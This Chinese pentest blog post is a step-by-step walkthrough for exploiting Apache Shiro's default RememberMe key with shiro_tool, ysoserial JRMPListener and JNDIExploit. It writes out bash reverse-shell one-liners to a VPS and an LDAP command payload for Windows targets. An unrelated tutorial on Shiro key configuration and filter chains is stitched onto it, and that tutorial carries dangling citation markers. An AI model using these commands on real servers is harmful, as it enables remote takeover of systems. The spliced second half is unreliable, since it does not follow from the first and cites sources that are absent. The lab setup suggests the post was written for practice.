shiro泄露key无依赖链利用技巧

获取环境:

拉取镜像到本地

$ docker pull medicean/vulapps:s_shiro_1

启动环境

$ docker run -d -p 80:8080 medicean/vulapps:s_shiro_1

1.使用shiro_attack_2.2工具对目标系统进行检查,发现有默认key但是无利用链

image_ylgMY223mT.png

2.使用shior_tools.jar 直接对目标系统进行检测,检测完毕后会返回可执行操作

java   -jar  shiro_tool.jar http://10.11.10.108:8081/login.jsp 

2、选0让输入dnslog地址,通过dnslog测试有回显,这里有个注意点:使用 http://dnslog.cn/ 部分站点会拦截,可以换多个dnslog平台测试

image_htB_EhwPH9.png

dnslog有回显接下来就是拿shell了,这里由于固定思维,之前遇到的都是linux系统,先入为主觉得是Linux,结果没利用成功,一开始以为是防火墙拦截,后面探测了一下目录结构,发现是windows,所以这里payload要改变一下

3、在公网VPS上使用ysoserial开启端口,执行反弹命令

java -cp ysoserial-master-30099844c6-1.jar ysoserial.exploit.JRMPListener 1999 CommonsCollections5 "编码后bash命令"

 

image_wvD-c4KvV-.png

 这里面的编码的内容在步骤4

坑一:CommonsCollection1-5 如果不反弹shell,换着使用

4、bash反弹命令编辑

https://x.hacking8.com/java-runtime.html //编码的链接

下面三种执行命令,酌情选择:

坑二:这里执行的bash命令,首先要看对方运行系统,如果是linxu下面三个换着试,如果是win另行百度反弹命令。

bash -i >& /dev/tcp/VPSIP/7777 0>&1

/bin/bash -i > /dev/tcp/VPSIP/7777 0<&1 2>&1

0<&196;exec 196<>/dev/tcp/VPSIP/7777; sh <&196 >&196 2>&196

这里选择第二种,ip:是接受shell的vps的ip,端口:是vps用nc开启监听反弹到的端口

/bin/bash -i > /dev/tcp/192.168.14.222/8888  0<&1 2>&1

 

Windows:
java -cp ysoserial-0.0.6-SNAPSHOT-1.8.3.jar ysoserial.exploit.JRMPListener 88 CommonsBeanutils2 "ldap://VPS地址:1389/Basic/Command/Base64/d2hvYW1p"  
d2hvYW1p为命令的base64,这里是执行命令whoami
java -jar JNDIExploit-1.0-SNAPSHOT.jar -i VPS地址

5、nc监听

6、输入接收shell的vps的ip和java-ysoserial-JRMPListener开启的端口(这里选择1,使用JRMPClient反弹shell)

 

7、执行成功,反弹shell

 

 

 

### 关于 Apache Shiro 的密钥配置 在 Apache Shiro 中,密钥通常用于加密和解密操作,尤其是在与 JWT 集成时。通过使用对称算法(如 HMAC-SHA),可以生成安全的签名来验证令牌的真实性[^1]。为了配置密钥,可以通过以下方式进行设置: #### 密钥配置方法 1. **硬编码方式** 将密钥直接写入到代码中是一种简单的方式,但不推荐用于生产环境。例如,在 Java 代码中定义一个静态字符串作为密钥: ```java public class JwtUtil { private static final String SECRET_KEY = "your-secret-key"; // 使用SECRET_KEY进行加解密逻辑... } ``` 2. **外部化配置** 更安全的做法是将密钥存储在外置化的配置文件中,比如 `application.properties` 或者 `application.yml` 文件。这样可以在不同环境中灵活调整密钥值而不修改代码。 - 对于 Spring Boot 应用程序,可以在 `application.properties` 中指定密钥: ```properties shiro.jwt.secretKey=your-secret-key ``` - 然后在代码中读取该属性: ```java @Value("${shiro.jwt.secretKey}") private String secretKey; // 使用secretKey进行加解密逻辑... ``` 3. **基于环境变量或秘钥管理工具** 如果需要更高的安全性,建议利用操作系统级别的环境变量或者专业的秘钥管理服务(如 AWS Secrets Manager、Azure Key Vault)。这种方式能够有效防止敏感数据泄露。 --- ### 式调用实现方式 Shiro 提供了一种简洁的方式来处理过滤器式的请求拦截规则。这些规则决定了哪些 URL 路径应该被保护以及如何对其进行身份验证或授权检查。以下是常见的几种配置模式及其含义[^4]: | 过滤器名称 | 描述 | |------------|----------------------------------------------------------------------| | anon | 表示无需登录即可访问 | | authc | 表示必须经过身份验证才能访问 | | logout | 自动执行登出操作 | | user | 已经记住用户的会话可以直接访问 | #### 实现式调用的具体步骤 假设我们正在开发一个 RESTful API 并希望某些路径仅限已认证用户访问,则可在 XML 配置文件中声明如下规则: ```xml <bean id="shiroFilter" class="org.apache.shiro.spring.web.ShiroFilterFactoryBean"> <property name="filterChainDefinitions"> <value> /public/** = anon <!-- 所有/public下的资源都允许匿名访问 --> /api/login = anon <!-- 登录接口也开放给未认证用户 --> /api/logout = logout <!-- 注销接口由Shiro自动处理 --> /api/userinfo = user <!-- 用户信息查询需确认当前主体是否已被识别 --> /api/admin/** = roles[admin]<!-- 只有具备'admin'角色的人才可以进入此目录 --> /** = authc <!-- 默认情况下其他所有API都需要先完成身份验证 --> </value> </property> </bean> ``` 如果采用注解形式而非 XML 方式,则可通过自定义 Filter Chain 定义类完成相同功能: ```java @Configuration public class ShiroConfig { @Bean public ShiroFilterChainDefinition shiroFilterChainDefinition() { DefaultShiroFilterChainDefinition chainDef = new DefaultShiroFilterChainDefinition(); // 添加具体URL匹配规则 chainDef.addPathDefinition("/public/**", "anon"); chainDef.addPathDefinition("/api/login", "anon"); chainDef.addPathDefinition("/api/logout", "logout"); chainDef.addPathDefinition("/api/userinfo", "user"); chainDef.addPathDefinition("/api/admin/**", "roles[admin]"); chainDef.addPathDefinition("/**", "authc"); return chainDef; } } ``` 上述两种方法均实现了针对特定 URI 设置不同的权限控制策略的目标。 --- ### 总结 通过对密钥的安全管理和合理运用过滤器机制,开发者能够在保障应用安全的同时简化复杂的业务流程设计。无论是简单的 Web 应用还是微服务体系架构下复杂的服务间通信场景,Apache Shiro 均提供了强大而灵活的支持方案[^3]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

渗透测试中心

各位师傅,觉得文章不错可支持下

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值